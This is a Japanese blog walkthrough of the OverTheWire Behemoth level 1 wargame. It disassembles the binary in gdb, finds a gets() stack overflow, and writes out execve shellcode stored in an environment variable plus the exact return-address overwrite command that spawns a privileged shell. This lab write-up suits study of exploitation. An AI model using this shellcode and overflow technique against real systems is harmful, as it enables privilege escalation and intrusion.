見出し画像

OverTheWire:Behemoth1

前回の記事で取得したパスワードで接続。
ssh behemoth1@behemoth.labs.overthewire.org -p 2221

とりあえず実行してみる。

behemoth1@behemoth:~$ /behemoth/behemoth1
Password: abc
Authentication failure.
Sorry.

あら、見掛け上の動きは前回と同じ。
どんなプログラムなのか知るため、デバッガで逆アセンブルしてみる。

behemoth1@behemoth:~$ gdb -q /behemoth/behemoth1
Reading symbols from /behemoth/behemoth1...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048451
Starting program: /behemoth/behemoth1 
Temporary breakpoint 1, 0x08048451 in main ()
(gdb) disas
Dump of assembler code for function main:
  0x0804844b <+0>:	push   %ebp
  0x0804844c <+1>:	mov    %esp,%ebp
  0x0804844e <+3>:	sub    $0x44,%esp
=> 0x08048451 <+6>:	push   $0x8048500
  0x08048456 <+11>:	call   0x8048300 <printf@plt>
  0x0804845b <+16>:	add    $0x4,%esp
  0x0804845e <+19>:	lea    -0x43(%ebp),%eax
  0x08048461 <+22>:	push   %eax
  0x08048462 <+23>:	call   0x8048310 <gets@plt>
  0x08048467 <+28>:	add    $0x4,%esp
  0x0804846a <+31>:	push   $0x804850c
  0x0804846f <+36>:	call   0x8048320 <puts@plt>
  0x08048474 <+41>:	add    $0x4,%esp
  0x08048477 <+44>:	mov    $0x0,%eax
  0x0804847c <+49>:	leave  
  0x0804847d <+50>:	ret    
End of assembler dump.
(gdb) 

なるほど、パスワードに何を入力しても "Authentication failure." を表示して終了するプログラムのようだ。ただし、gets() で無制限に入力文字列を読み込んでいるので、バッファオーバーフローの脆弱性がある。

  0x0804845e <+19>:	lea    -0x43(%ebp),%eax
  0x08048461 <+22>:	push   %eax
  0x08048462 <+23>:	call   0x8048310 <gets@plt>

ざっくり計算して 70文字ぐらい入力すれば、gets()をコールした後の戻りアドレスを書き換えることができそう。。試してみよう。

behemoth1@behemoth:~$ perl -e 'print "A"x69' | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
behemoth1@behemoth:~$ perl -e 'print "A"x70' | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
behemoth1@behemoth:~$ perl -e 'print "A"x71' | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@behemoth:~$ 

71文字でジャンプ先が制御できそうなことが判った。
攻撃方法としては、環境変数 EGG にシェルコードを書いておいて、そこにジャンプさせることでシェルを起動する、という方法で良さそうだ。

まずは、環境変数 EGGの準備。

behemoth1@behemoth:~$ export EGG=$(perl -e 'print "\x90"x32 ."\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"')
behemoth1@behemoth:~$

次に EGGのアドレスを調べる。
getenv() を実行するだけの簡単なプログラムを書いて実行。
ファイル名は攻撃対象のプログラムの名称(behemoth1)と同じにしないとアドレスがズレてしまうので注意。

behemoth1@behemoth:/tmp/hoge$ cat behemoth1.c  #include  <stdlib.h> #include  <stdio.h>
int main(void) {
   printf("EGG: %p\n", getenv("EGG"));
   return 0;
}
behemoth1@behemoth:/tmp/hoge$ gcc -m32 -o behemoth1 behemoth1.c
behemoth1@behemoth:/tmp/hoge$ ./behemoth1 
EGG: 0xffffde75
behemoth1@behemoth:/tmp/hoge$ 

環境変数のアドレスは 0xffffde75 になることが判った。
これで準備ができたので、いよいよこのプログラムを攻撃する。
コマンドは以下のような感じか。。

<コマンド>
(perl -e 'print "A"x71 . "\x75\xde\xff\xff"';cat ) | /behemoth/behemoth1

では、実行!

画像1

想定通りシェルが起動して権限は behemoth2 になっている。
これで次のレベル(bhemoth2)のパスワードを読むことができる。

画像2

今日はこれでおしまい!

この記事が気に入ったらサポートをしてみませんか?